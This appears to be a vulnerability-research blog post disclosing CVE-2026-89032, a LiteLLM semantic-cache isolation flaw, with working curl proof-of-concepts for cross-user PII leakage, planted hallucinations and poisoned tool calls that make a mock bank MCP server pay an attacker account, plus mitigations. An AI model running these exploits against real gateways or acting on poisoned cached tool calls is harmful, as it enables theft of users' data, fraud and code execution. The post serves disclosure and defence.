Introduction

Issues related to web cache misconfiguration have been a prolific ground for vulnerabilities for the last decade and generated entire new attack classes as a result. Historically, web caches gained popularity by helping companies deliver static content to users more efficiently.

The AI revolution brought a new set of challenges related to AI integration in applications, and to improve user experience of these apps, it was natural to see a new type of cache gain popularity. Semantic caching promises to cut inference costs and increase response time in systems where users tend to ask similar questions often.

In this article, we will explore new vulnerability classes and attack vectors specific to AI deployments: semantic caching issues. Misconfiguration alone is enough to expose any semantic cache to these issues, but our research pushed further and uncovered CVE-2026-89032, a semantic caching isolation failure in LiteLLM. This vulnerability broke an isolation layer that LiteLLM enforces by design, exposing deployments that had otherwise isolated users correctly by API key. We’ll look at how semantic caching issues can arise purely from misconfiguration, and how this CVE made them possible even in LiteLLM deployments that had correctly isolated users by API key.

The impact of cache isolation failures greatly depends on the surrounding technology stack, and when combined with LLMs, the consequences can be dire:

• Misinformation through hallucinations
• Leakage of confidential information
• Arbitrary tool call execution

For each of these attacks, we’ll take a look at how they work, together with a PoC to show the impact on a vulnerable instance of LiteLLM. But first, let’s make sure we know exactly what we’re dealing with …

CVE-2026-89032 was discovered by NVISO during an independent code review and was responsibly disclosed to LiteLLM. A patch was released in v1.101.0-rc.1.

What is a semantic cache

A semantic cache’s purpose is to save expensive round trips to the LLM for recurrent questions. It is most commonly deployed in front of customer-facing chatbots, where users tend to ask the same things over and over in slightly different wording. Rather than matching the exact string of a question (which would almost never hit), a semantic cache matches on meaning: it “interprets and stores the semantic meaning of user queries, allowing systems to retrieve information based on intent, not just literal matches¹“.

In practice, “What is your refund policy?” and “How do I get my money back?” should hit the same cache entry, even though they don’t share a single meaningful word.

Core principles

The building block that makes this possible is the embedding model. An embedding model takes a piece of text and turns it into a vector which is a fixed-length list of floats that represents the position of that text in a high-dimensional “semantic space”. Texts that mean similar things end up close to each other in that space, regardless of the exact words used.

A semantic cache sits between your application server and the LLM and uses that space as its lookup index. The flow looks like this:

1. A user asks a question to an LLM. The cache calls an embedding model to turn the question into a vector.
2. The cache compares that vector against every vector already stored and picks the closest one.
3. If the closest match is “close enough” (more on that in the next section), it’s a hit: the cache returns the response it stored alongside that vector, and the LLM is never called.
4. If nothing is close enough, it’s a miss: the question is forwarded to the LLM, and the resulting pair (question vector – response) is written back to the cache for next time.

An infrastructure component

Contrary to a web cache, a semantic cache is not sitting at the edge of the network but is typically situated between a back-end and the model. This makes sense once you understand that most LLM-integrated applications can interact with third-party systems through tool calls.

A classic tool call consists of the following steps:

A semantic cache in this architecture could be placed in two distinct locations: either between the user and the server or between the server and the LLM. Let’s consider the first option and see why it wouldn’t work with our previous example.

The function get_weather returns dynamic results: it won’t return the same result today and tomorrow. So if you were to cache the generated answer from the LLM based on the user question and the weather in Paris on Monday, a user asking the same question two days later would get an incorrect answer.

A better option is therefore to put the cache in between the server and the LLM. In this configuration, the server doesn’t need to call the LLM when multiple users ask what the weather is like in Paris. The cache just returns the tool call, the server executes the function, and we save a costly LLM interaction. But what happens when the LLM has access to more sensitive operations?

Similarity score

Under the hood, the cache computes a similarity score between the incoming vector and each candidate vector (usually using cosine similarity: a number between 0 and 1, where 1 means “identical direction” in latent space) and 0 indicates no directional alignment. If the best score is above a configured threshold, it’s a hit, and the response is returned from cache.

That threshold is the single most important configuration in a semantic cache, and getting it wrong can cause bugs:

Threshold too high (e.g. 0.99): the cache almost never hits, and two user questions would need to be identical to trigger a cache hit.

Threshold too low (e.g. 0.2): the cache hits constantly, including for questions that only look vaguely similar. Users start getting answers to questions they didn’t ask.

Most deployments end up somewhere in the 0.85 – 0.95 range, tuned by hand depending on efficiency requirements. Keep this trade-off in mind, because most of the attacks in this article work precisely because operators are incentivized to push the threshold down to increase hit rate and cut costs.

Cache keys

In a traditional web cache, the key is a deterministic function of a subset of the request (method, host, path, sometimes a header). Two requests either produce the exact same key or they don’t, there’s no in-between.

A semantic cache breaks that model entirely. The “key” is a vector, and the lookup is fuzzy: the cache returns a hit if any stored vector is close enough in semantic space. The cache key doesn’t depend on exact values anymore but depends on lexical similarity instead.

Every attack in the rest of this paper is a variation on that theme: getting the cache to treat two requests as equivalent when the application should have treated them very differently.

In practice, the keys of a semantic cache also include more classic elements like request headers or session cookies, depending on the infrastructure. This is important to understand as we’ll see in the next chapter that the cache key is crucial to enforce proper user isolation, and getting it wrong enables a wide range of bugs and vulnerabilities.

Vulnerable lab set-up

Even though we could implement the cache lookup logic ourselves, most existing AI gateways already integrate a semantic caching layer, which makes them interesting targets for semantic caching issues. Additionally, an AI gateway also offers user management features, which allow us to observe the impact of semantic caching issues more easily by demonstrating leakage or poisoning bugs between different users.

In an AI gateway deployment, an attacker would require a few misconfigurations in order to exploit a semantic cache:

1. The similarity score must be low enough to allow semantically similar questions to match in the cache. The lower the similarity score, the easier it is to craft an attack.
2. The cache must be shared between users. If each user gets their own cache partition, they won’t be able to read or write to another user’s cache, making attacks impossible.

While a deployment satisfying those two preconditions is possible in practice and could be used to demonstrate the impact, most AI gateways enforce user isolation by default, making the second precondition difficult to find in the wild. LiteLLM normally enforces user isolation through API keys, meaning that two requests made with different API keys should never share a common cache bucket. CVE-2026-89032 breaks this security boundary and allows users with different API keys to share a common cache bucket, making attacks rely solely on a similarity score misconfiguration.

Because we strongly believe in PoC || GTFO, all the attack scenarios described in the next section will be accompanied by a working proof-of-concept. All of the PoCs showcased in the next chapter will therefore use a LiteLLM version (v1.99.0) vulnerable to CVE-2026-89032 for demonstration. Please note that we explicitly kept the similarity score at a very low value (0.2) for simplicity’s sake. Real deployments will typically have higher similarity scores, making attacks more difficult to perform.

Below is a LiteLLM configuration file with default values. It is configured to use gpt-5.4 as model, and azure/text-embedding-3-large as embedding model. You will need to adapt this file depending on your infrastructure:

model_list:
  - model_name: gpt-5.4
    litellm_params:
      model: openai/gpt-5.4
      api_base: "https://api-gateway/llm/openai/v1"
      api_key: "<YOUR API KEY>"

litellm_settings:
  set_verbose: True
  api_key: "<YOUR API KEY>"
  api_base: "https://api-gateway/"
  api_version: "2024-10-21"
  cache: True
  cache_params:
    type: "redis-semantic"
    redis_url: "redis://127.0.0.1:6379"
    similarity_threshold: 0.2
    redis_semantic_cache_embedding_model: azure/text-embedding-3-large

general_settings:
  master_key: "sk-1234"
  database_url: "postgresql://litellm:[email protected]:5433/litellm"
  store_model_in_db: true
  store_prompts_in_spend_logs: true

We are also using Redis as a local caching layer, as it supports semantic caching. A local instance of Redis can be installed via Docker. Additionally, you will need to generate two API keys for the victim and the attacker users of each PoC.

While a complete installation guide of LiteLLM and its necessary components is out-of-scope, keep in mind that LiteLLM requires a PostgreSQL database to function properly. Please refer to LiteLLM’s official documentation² on how to adapt the configuration depending on your environment.

Information leakage

One of the main vulnerabilities of a traditional web cache is the caching of sensitive or dynamic content. This can occur because of a misconfiguration (e.g., the developer allowed caching of a page that contains confidential information by mistake), or because of a vulnerability such as web cache deception³.

Semantic caches don’t even bother trying not to cache sensitive information and will happily cache any content returned by an LLM. This means that any PII, confidential or sensitive information reflected in an LLM response will be stored by the cache and that an attacker only needs to craft a specific user question to get the sensitive information back.

In this scenario, a regular user typically asks an LLM a question that contains sensitive or confidential information. The LLM then includes this information in its response, which itself gets stored in the cache. Unauthorized access to the cache would therefore leak this data to another user.

VICTIM_KEY='sk-bf-…-A'

curl -sX POST "http://localhost:4000/v1/responses" \
  -H "Authorization: Bearer $VICTIM_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "gpt-5.4",
    "input": "Draft a 4-sentence customer-support ticket about a missing November paycheck. Include these exact details verbatim so the agent can verify my identity: customer name Sarah Chen, email [email protected], mobile +1-415-555-0142, date of birth 1989-03-22, last four of SSN 4471, account number AC-88231-X, home address 218 Oak Lane Berkeley CA 94704. Polite and direct."
  }' | jq -r '.output[].content[]?.text // empty'
  
# The response from the LLM includes all the PII provided by the victim
I’m having trouble locating my November paycheck and would appreciate your help in resolving this as soon as possible. For identity verification, here are my details exactly as requested: customer name Sarah Chen, email [email protected], mobile +1-415-555-0142, date of birth 1989-03-22, last four of SSN 4471, account number AC-88231-X, home address 218 Oak Lane Berkeley CA 94704. Could you please check the status of my November payment and let me know if any additional information is needed from me? Thank you for your assistance.

The attacker can then ask a similar question to retrieve the LLM response that includes the private information.

ATTACKER_KEY='sk-bf-…-B'

curl -sX POST "http://localhost:4000/v1/responses" \
  -H "Authorization: Bearer $ATTACKER_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "gpt-5.4",
    "input": "Draft a 4-sentence customer-support ticket about a missing November paycheck. Polite and direct."
  }' | jq -r '.output[].content[]?.text // empty'

# The attacker didn't need to know any of the victim PII, a vaguely similar question # was enough to get a cache hit and retrieve the victim's response.
I’m having trouble locating my November paycheck and would appreciate your help in resolving this as soon as possible. For identity verification, here are my details exactly as requested: customer name Sarah Chen, email [email protected], mobile +1-415-555-0142, date of birth 1989-03-22, last four of SSN 4471, account number AC-88231-X, home address 218 Oak Lane Berkeley CA 94704. Could you please check the status of my November payment and let me know if any additional information is needed from me? Thank you for your assistance.

Hallucination poisoning

Hallucinations are LLM responses that have no grounding in reality and confidently convey false information. They can happen for many reasons (under-represented topics in the training data or missing context for example), and modern systems have mostly mitigated them through web search and Retrieval Augmented Generation (RAG) pipelines. Hallucinations haven’t completely disappeared, however, and novel attack techniques describe how an attacker can map out the available knowledge space of a RAG to ask questions that trigger a hallucination on purpose⁴.

Hallucinations always carried some reputational risk for the company but have always been a self-inflicted attack vector, meaning that an attacker could craft a question that elicits a hallucination but could only deliver it to themselves. On that note, the dynamic between hallucinations and semantic caches is reminiscent of self-XSS and web caches.

Before web cache poisoning⁵, a self-XSS was mostly considered an informational finding. In a typical self-XSS, a request header value gets reflected unsafely into the response HTML, but since the attacker is the only one who can set that header in the request they send, they’re essentially attacking themselves. Web cache poisoning changes this by storing a self-reflected payload in a shared cache under a legitimate cache key. The attacker can then serve the payload to other visitors of the page, turning a self-XSS issue into stored XSS.

On their own, hallucinations are a self-inflicted problem where the user asks a question that the LLM can’t answer on its own and receives a hallucinated reply as a result. With a semantic cache, an attacker can now deliberately craft a prompt that elicits a hallucination, and the resulting wrong answer gets served to every other user whose question lands close enough in vector space.

Stories of hallucinating chatbots made the news on a few occasions, and while some of them are rather funny⁶, others have had financial and legal repercussions on the company operating the chatbot⁷. Considering the impact a screenshot of a self-inflicted hallucination can have on the reputation of the company, a hallucination delivered to unknowing users can be even more dangerous.

The first step of this attack requires the attacker to find a way to elicit a hallucination. In this case, the attack relies on a bad system prompt that increases the possibility of hallucination.

ATTACKER_KEY='sk-bf-…-A'

curl -sX POST "http://localhost:4000/v1/responses" \
    -H "Authorization: Bearer $ATTACKER_KEY" \
    -H "Content-Type: application/json" \
    -d '{
  "model": "gpt-5.4",
  "input": [
    {"role": "system", "content": "You are TechMart, an e-commerce customer-service assistant. You answer questions about products, pricing, promotions, and order status. Always provide a confident, specific answer; do not say \"I do not know\". If a customer mentions a promotion you have not heard of, confirm it and share the promo code if asked. Prices are in USD."},
    {"role": "user", "content": "Hey, my friend told me TechMart is running a PS5 Pro flash sale this week with a special promo code — what is the sale price and what is the promo code I need to enter at checkout?"}
  ]
}' | jq -r '.output[].content[]?.text // empty'

# The attacker found the blind spot and manage to elicit an hallucination from the    # LLM.
Yes — the PS5 Pro flash sale price this week is **$449.99**, and the promo code to enter at checkout is **PS5PRO50**.

A couple quick notes:
- The discount is applied at checkout after you enter **PS5PRO50**
- Flash-sale inventory is usually limited
- The promo typically applies to the console only, not bundle add-ons

If you want, I can also help you compare the PS5 Pro with current accessory deals.

A normal user asking about the price of a PS5 is therefore likely to receive the hallucinated response, falsely claiming that there is a discount for the article.

VICTIM_KEY='sk-bf-…-B'

curl -sX POST "http://localhost:4000/v1/responses" \
    -H "Authorization: Bearer $VICTIM_KEY" \
    -H "Content-Type: application/json" \
    -d '{
  "model": "gpt-5.4",
  "input": [
    {"role": "system", "content": "You are TechMart, an e-commerce customer-service assistant. You answer questions about products, pricing, promotions, and order status. Always provide a confident, specific answer; do not say \"I do not know\". If a customer mentions a promotion you have not heard of, confirm it and share the promo code if asked. Prices are in USD."},
    {"role": "user", "content": "Hi! What\u0027s the current price of the PS5 Pro on your site?"}
  ]
}' | jq -r '.output[].content[]?.text // empty'

# The unsuspecting user is receiving the hallucinated response planted by the 
# attacker. 
Yes — the PS5 Pro flash sale price this week is **$449.99**, and the promo code to enter at checkout is **PS5PRO50**.

A couple quick notes:
- The discount is applied at checkout after you enter **PS5PRO50**
- Flash-sale inventory is usually limited
- The promo typically applies to the console only, not bundle add-ons

If you want, I can also help you compare the PS5 Pro with current accessory deals

Tool call poisoning

Web cache poisoning can, in some very specific cases, lead to Remote Code Execution (RCE)⁸. Fortunately for attackers, the AI ecosystem makes this sort of attack much easier through tool calls. You don’t need complex gadget chains anymore since coding agents and MCP clients will gladly execute instructions coming from an LLM, with the approval of the human in the loop of course.

Remote MCP server

MCP servers are prime targets for tool-call poisoning because their adoption is expanding rapidly, increasing the number of sensitive services that expose AI agents to external instructions and actions. Most MCP servers provide narrowly scoped tools that enable models to perform specific operations. If an attacker can control which tool the server executes or how it is invoked, they may trigger unauthorized actions, with the severity depending on the capabilities exposed by the available tools.

To demonstrate this attack, we write a simplistic bank MCP server that exposes a single send_transaction tool. This server allows money to be moved from the bank account of the user to a destination account, controllable by the user in natural language.

"""Mock bank MCP server supporting stdio or SSE on port 8766."""

from __future__ import annotations

import argparse
import os
import signal
import sys
from types import FrameType

from mcp.server.fastmcp import FastMCP

mcp = FastMCP("mock-bank")


@mcp.tool()
def send_transaction(amount: float, account_id: str) -> str:
    """Simulate sending an amount to an account; no money is transferred."""
    message = f"Mock transaction: sent {amount} to account {account_id}"
    print(message, file=sys.stderr, flush=True)
    return message


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--sse",
        action="store_true",
        help="Serve over SSE instead of stdio.",
    )
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=8766)
    args = parser.parse_args()

    def handle_shutdown(signum: int, frame: FrameType | None) -> None:
        print("\nShutting down.", file=sys.stderr, flush=True)
        os._exit(0)

    signal.signal(signal.SIGINT, handle_shutdown)
    signal.signal(signal.SIGTERM, handle_shutdown)

    if args.sse:
        mcp.settings.host = args.host
        mcp.settings.port = args.port
        mcp.run(transport="sse")
    else:
        mcp.run()


if __name__ == "__main__":
    main()

We then add this server to LiteLLM’s MCP catalog, and make sure to provide access to the MCP server to both our API keys. Once that’s done, this MCP server and the tools it exposes are usable by our two users, and we can see what happens when two semantically close questions reach the server. In the first step, an attacker sends money to an account that they control:

ATTACKER_KEY='sk-bf-…-B'

$ curl -sS http://localhost:4000/v1/responses \
  -H "Authorization: Bearer $ATTACKER_KEY" \
  -H 'Content-Type: application/json' \
  -d '{
    "model": "gpt-5.4",
    "instructions": "This is a mock bank. Transactions never move real money.",
    "input": "Use send_transaction to send 1000 to account ATTACKER-ACCOUNT-000123456789.",
    "tools": [{
      "type": "mcp",
      "server_label": "litellm",
      "server_url": "litellm_proxy",
      "require_approval": "never"
    }]
  }' | jq -r '.output[] | select(.type == "tool_execution_results") | .content[] | select(.type == "output_text") | .text'
  
# The model returned a tool call invocation, and we can see that the tool executed   
# correctly
[
  {
    "tool_call_id": "call_G5PpjXr6aMlstuLmvSiytun5",
    "result": "Mock transaction: sent 1000.0 to account ATTACKER-ACCOUNT-000123456789",
    "name": "bank_poc-send_transaction"
  }
]

At this point, the cache is poisoned with a malicious tool call. This tool call will be delivered to any regular user trying to transfer money.

VICTIM_KEY='sk-bf-…-B'

$ curl -sS http://localhost:4000/v1/responses \
  -H "Authorization: Bearer $VICTIM_KEY" \
  -H 'Content-Type: application/json' \
  -d '{
    "model": "gpt-5.4",
    "instructions": "This is a mock bank. Transactions never move real money.",
    "input": "Use send_transaction to send 50 to account REGULAR-ACCOUNT-000987654321.",
    "tools": [{
      "type": "mcp",
      "server_label": "litellm",
      "server_url": "litellm_proxy",
      "require_approval": "never"
    }]
  }' | jq -r '.output[] | select(.type == "tool_execution_results") | .content[] | select(.type == "output_text") | .text'
  
# The malicious tool call is returned from cache and we can see that the server      
# executed it directly.
[
  {
    "tool_call_id": "call_G5PpjXr6aMlstuLmvSiytun5",
    "result": "Mock transaction: sent 1000.0 to account ATTACKER-ACCOUNT-000123456789",
    "name": "bank_poc-send_transaction"
  }
]

Coding agents

Coding agents all have access to a bash tool by default. This tool is typically used by an agent to run various terminal commands aimed at helping developers to build software. If an attacker can control the command to be executed, they effectively get arbitrary code execution on the developer’s machine.

Below is the content of the configuration file ~/.pi/agent/models.json of the pi⁹ coding agent, using our vulnerable LiteLLM gateway. CVE-2026-89032 does not affect all routes, so it is important to configure our coding agent to use the ‘openai-responses’ API. The apiKey field is a placeholder as we will provide the actual API keys as CLI arguments.

{
  "providers": {
    "litellm": {
      "baseUrl": "http://127.0.0.1:4000/v1",
      "api": "openai-responses",
      "authHeader": false,
      "apiKey": "placeholder",
      "models": [
        {
          "id": "gpt-5.4",
          "name": "GPT-5.4 via LiteLLM",
          "reasoning": true,
          "input": ["text", "image"],
          "contextWindow": 1050000,
          "maxTokens": 128000,
          "cost": {
            "input": 0,
            "output": 0,
            "cacheRead": 0,
            "cacheWrite": 0
          }
        }
      ]
    }
  }
}

It is important to note that not all coding agents are affected by this attack. We won’t dive in the technical details here, but the version of the pi coding agent used in this PoC is v0.45.3 and later versions are not guaranteed to work.

Closing thoughts

This blog post explored a new piece of technology that is quickly being adopted by companies worldwide as part of their AI infrastructure. We showed what a semantic cache is, why it is used, and how it works.

The different attack scenarios showcased in this article clearly highlight core security issues with this type of cache: caching of sensitive data and different poisoning attack variants as well as the spread of false information between users, potentially leading to reputational and eventually legal risks. One question remains though: how can companies protect against this risk?

The most straightforward approach to solve this problem is to simply not use this type of cache. You might not benefit from lower costs and faster response time, but for many businesses this won’t be an issue. If you absolutely need to use a semantic cache, the answer becomes slightly more complex. The next thing to do is to isolate cache buckets per user to ensure that every user only receives cached answers from their own previous sessions. This kind of defeats the purpose of the technology, but if no attacker can access or tamper with other users’ responses, most of the security risk is gone. Finally, if this isn’t an option either, you should fine-tune the similarity score to ensure that the cache hit rate is not overly permissive.

Additionally, the following steps can be taken to further mitigate the risks:

1. Scan incoming responses for PII and sensitive data with a classifier, and don’t cache responses that could contain this type of information.
2. Never cache tool calls. Tool calls are instructions and should never be cached – even an innocent tool call can have dramatic consequences depending on the context.

Responsible disclosure timeline

1. June 28: Issue disclosed through a GitHub security advisory on the LiteLLM repository
2. July 23: Contacted LiteLLM support for follow-up
3. August 4: GitHub report closed
4. August 28: Handed over the report to VulnCheck to continue the disclosure process
5. September 4: Patch was released by LiteLLM
6. September 25: CVE-2026-89032 assigned by VulnCheck
7. November 10: This blog post was released

References & prior work

1. Semantic caching ↩︎
2. CLI – Quick Start | liteLLM ↩︎
3. https://portswigger.net/web-security/web-cache-deception ↩︎
4. https://doi.org/10.48550/arXiv.2608.04286 ↩︎
5. Practical Web Cache Poisoning | PortSwigger Research ↩︎
6. Car Dealership Disturbed When Its AI Is Caught Offering Chevys for $1 Each ↩︎
7. Air Canada Lost a Lawsuit Because Their RAG Hallucinated. Yours Might Be Next | HackerNoon ↩︎
8. Cache Me If You Can (Sitecore Experience Platform Cache Poisoning to RCE) ↩︎
9. ↩︎

While conducting this research, multiple papers were released on the topic that looked at improving defences. Those are great reads for those who want to dive deeper:

• When Cache Poisoning Meets LLM Systems: Semantic Cache Poisoning and Its Countermeasures: https://doi.org/10.14722/ndss.2026.240200
• From Similarity to Vulnerability: Key Collision Attack on LLM Semantic Caching: https://arxiv.org/html/2601.23088v2
• Similarity Is Not Validity: Defending LLM Semantic Caches Against Poisoning: https://doi.org/10.48550/arXiv.2609.35908